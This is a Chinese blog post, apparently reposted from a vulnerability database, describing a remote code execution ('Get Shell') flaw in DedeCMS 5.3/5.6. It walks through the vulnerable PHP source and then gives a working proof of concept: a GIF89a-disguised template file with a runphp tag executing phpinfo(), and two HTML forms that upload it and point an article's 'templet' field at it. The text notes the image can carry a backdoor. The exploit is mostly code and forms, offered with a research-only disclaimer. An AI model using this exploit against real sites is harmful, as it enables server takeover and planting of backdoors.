DEDECMS网站管理系统Get Shell漏洞 - milantgh

漏洞版本:

DEDECMS 5.3/5.6

漏洞描述:

DedeCms 基于PHP+MySQL的技术开发，支持Windows、Linux、Unix等多种服务器平台，从2004年开始发布第一个版本开始，至今已经发布了五个大版本。DedeCms以简单、健壮、灵活、开源几大特点占领了国内CMS的大部份市场，目前已经有超过二十万个站点正在使用DedeCms或居于 DedeCms核心，是目前国内应用最广泛的php类CMS系统。

article_add.php
 

   1. ........................  
   2. else if($dopost=='save')  
   3. {  
   4. include(DEDEMEMBER.'/inc/archives_check.php');  
   5.   
   6. //分析处理附加表数据  
   7. $inadd_f = $inadd_v = '';  
   8. if(!emptyempty($dede_addonfields))  
   9. {  
  10.    $addonfields = explode(';',$dede_addonfields);  
  11. ............................................ //省略部份代码  
  12.      $inadd_f .= ','.$vs[0];  
  13.      $inadd_v .= " ,'".${$vs[0]}."' ";  
  14.     }  
  15.    }  
  16. }  
  17. ..........................................  
  18. $addtable = trim($cInfos['addtable']);  
  19. if(emptyempty($addtable))  
  20. {  
  21.    ......................................  
  22. }  
  23. else  
  24. {  
  25.    $inquery = "INSERT INTO `{$addtable}`(aid,typeid,userip,redirecturl,templet,body{$inadd_f}) Values('$arcID','$typeid','$userip','','','$body'{$inadd_v})";  
  26.    if(!$dsql->ExecuteNoneQuery($inquery))  
  27.    {  
  28. ..........................................  
  29.    }  
  30. }  
  31. ..........................................  
  32. $artUrl = MakeArt($arcID,true);     //利用地方(arc.archives.functions.php有定义)  
  33.   
  34.   
  35. function MakeArt($aid,$ismakesign=false)  
  36. {  
  37. global $cfg_makeindex,$cfg_basedir,$cfg_templets_dir,$cfg_df_style;  
  38. include_once(DEDEINC.'/arc.archives.class.php');  
  39. if($ismakesign)  
  40. {  
  41.    $envs['makesign'] = 'yes';  
  42. }  
  43. $arc = new Archives($aid);  
  44. $reurl = $arc->MakeHtml();           //arc.archives.class.php有定义  
  45. ............................  
  46. }  

arc.archives.class.php
 

   1. class Archives  
   2. {  
   3. ................  
   4. function __construct($aid)  
   5. {  
   6. ............  
   7.    if($this->ChannelUnit->ChannelInfos['addtable']!='')  
   8.     {  
   9.      $query = "SELECT * FROM `{$this->ChannelUnit->ChannelInfos['addtable']}` WHERE `aid` = '$aid'";  
  10.      $this->addTableRow = $this->dsql->GetOne($query);  
  11.     }  
  12. ........................  
  13. if($this->ChannelUnit->ChannelInfos['addtable']!='' && $this->ChannelUnit->ChannelInfos['issystem']!=-1)  
  14.     {  
  15.      if(is_array($this->addTableRow))  
  16.      {  
  17.      ...............................  
  18.       $this->Fields['templet'] = $this->addTableRow['templet'];//注意1  
  19.      ......................................  
  20.      }  
  21.     }  
  22.     .............................  
  23. }  
  24.   
  25. function MakeHtml($isremote=0)  
  26. {  
  27.    global $cfg_remote_site,$fileFirst;  
  28.    if($this->IsError)  
  29.    {  
  30.     return '';  
  31.    }  
  32.    $this->Fields["displaytype"] = "st";  
  33.    //预编译$th  
  34.    $this->LoadTemplet();              //触发1  
  35.     
  36. ......................................//省略部份代码  
  37.      $this->ParseDMFields($i,1);  
  38.    $this->dtp->SaveTo($truefilename); //触发2  
  39. ......................................  
  40. }  
  41. 继续跟(触发1)$this->LoadTemplet();        //arc.archives.class.php有定义  
  42.   
  43. function LoadTemplet()  
  44. {  
  45.    if($this->TempSource=='')  
  46.    {  
  47.     $tempfile = $this->GetTempletFile();                     //注意2  
  48.     if(!file_exists($tempfile) || !is_file($tempfile))  
  49.     {  
  50.      echo "文档ID：{$this->Fields['id']} - {$this->TypeLink->TypeInfos['typename']} - {$this->Fields['title']}<br />";  
  51.      echo "模板文件不存在，无法解析文档！";  
  52.      exit();  
  53.     }  
  54.     $this->dtp->LoadTemplate($tempfile);                  //触发3  
  55.     $this->TempSource = $this->dtp->SourceString;  
  56.    }  
  57.    else  
  58.    {  
  59.     $this->dtp->LoadSource($this->TempSource);  
  60.    }  
  61. }  
  62.   
  63. 看注意2 的$this->GetTempletFile()           //arc.archives.class.php有定义  
  64.   
  65. function GetTempletFile()  
  66. {  
  67.    global $cfg_basedir,$cfg_templets_dir,$cfg_df_style;  
  68.    $cid = $this->ChannelUnit->ChannelInfos['nid'];  
  69.    if(!emptyempty($this->Fields['templet']))                  //注意3  
  70.    {  
  71.     $filetag = MfTemplet($this->Fields['templet']);  
  72.     if( !ereg('/', $filetag) ) $filetag = $GLOBALS['cfg_df_style'].'/'.$filetag;  
  73.    }  
  74.    else  
  75.    {  
  76.     $filetag = MfTemplet($this->TypeLink->TypeInfos["temparticle"]);  
  77.    }  
  78. .......................................  
  79.    if($cid=='spec')  
  80.    {  
  81.     if( !emptyempty($this->Fields['templet']) )  
  82.     {  
  83.      $tmpfile = $cfg_basedir.$cfg_templets_dir.'/'.$filetag;  
  84.     }  
  85.     else  
  86.     {  
  87.      $tmpfile = $cfg_basedir.$cfg_templets_dir."/{$cfg_df_style}/article_spec.htm";  
  88.     }  
  89.    }  
  90. ...........................................  
  91.      return $tmpfile;  
  92. }  

注意3中的值来自注意1是通过查表得来的，控制了它就等于控制了任意模板,然后通过触发3来触发漏洞
看下怎么控制注意1的值
article_edit.php
 

   1. ......................  
   2. else if($dopost=='save')  
   3. { ....................  
   4. if(!emptyempty($dede_addonfields))  
   5. {  
   6.    $addonfields = explode(';',$dede_addonfields);  
   7.    if(is_array($addonfields))  
   8.    {  
   9. ........................  
  10.              ${$vs[0]} = GetFieldValueA(${$vs[0]},$vs[1],$aid);  
  11.      $inadd_f .= ','.$vs[0]." ='".${$vs[0]}."' ";  
  12.       
  13.    }  
  14. }  
  15. ...................  
  16. if($addtable!='')  
  17. {  
  18.    $upQuery = "Update `$addtable` set typeid='$typeid',body='$body'{$inadd_f},userip='$userip' where aid='$aid' ";  
  19.    if(!$dsql->ExecuteNoneQuery($upQuery))  
  20.    {..............  
  21.    }  
  22. }  
  23. ....................  
  24. }  

$dede_addonfields没有过滤，我们可以构造$inadd_f为,templet='上传的模板图片地址',包含我们的图片后，再通过触发2来生成图片里的后门!

<* 参考

http://hi.baidu.com/mr_xhming/blog/item/5e1368b2dea0bbaad9335ab2.html
http://sebug.net/appdir/织梦(DedeCms)

测试方法:

@Sebug.net dis
本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

Gif89a{dede:field name='toby57' runphp='yes'}
phpinfo();
{/dede:field}
保存为1.gif
1. <form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/uploads_edit.php" method="post" enctype="multipart/form-data" ">
2.<input type="hidden" name="aid" value="7"/>
3.<input type="hidden" name="mediatype" value="1"/>
4.<input type="text" name="oldurl" value="/DedeCmsV5.6-GBK-Final/uploads/uploads/userup/3/1.gif"/></br>
5.<input type="hidden" name="dopost" value="save"/>
6.<input name="title" type="hidden" id="title" value="1.jpg"class="intxt"/>
7.<input name="addonfile" type="file" id="addonfile"/>
8.<button class="button2" type="submit">更改</button>
9.</form>
构造如上表单，上传后图片保存为/uploads/userup/3/1.gif
发表文章，然后构造修改表单如下：
1.<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/article_edit.php" method="post" enctype="multipart/form-data">
2.<input type="hidden" name="dopost" value="save"/>
3.<input type="hidden" name="aid" value="2"/>
4.<input type="hidden" name="idhash" value="ec66030e619328a6c5115b55483e8dbd"/>
5.<input type="hidden" name="channelid" value="1"/>
6.<input type="hidden" name="oldlitpic" value=""/>
7.<input type="hidden" name="sortrank" value="1282049150"/>
8.<input name="title" type="text" id="title" value="aaaaaaaaaaaaaaa" maxlength="100"class="intxt"/>
9.<input type="text" name="writer" id="writer" value="123456" maxlength="100"class="intxt" style="width:219px"/>
10.<select name='typeid' size='1'>
11.<option value='1'class='option3' selected=''>Test</option>
12. <select name='mtypesid' size='1'>
13. <option value='0' selected>请选择分类...</option>
14.<option value='1'class='option3' selected>aa</option></select>
15.<textarea name="description" id="description">aaaaaaaaaaaaa</textarea>
16. <input type='hidden' name='dede_addonfields' value="templet">
17. <input type='hidden' name='templet' value="../uploads/userup/3/1.gif">
18. <input type="hidden" id="body" name="body" value="aaaa" style="display:none" />
19. <button class="button2" type="submit">提交</button>
20. </form>

posted on 2014-03-21 15:38 milantgh 阅读(717) 评论(0) 编辑收藏举报

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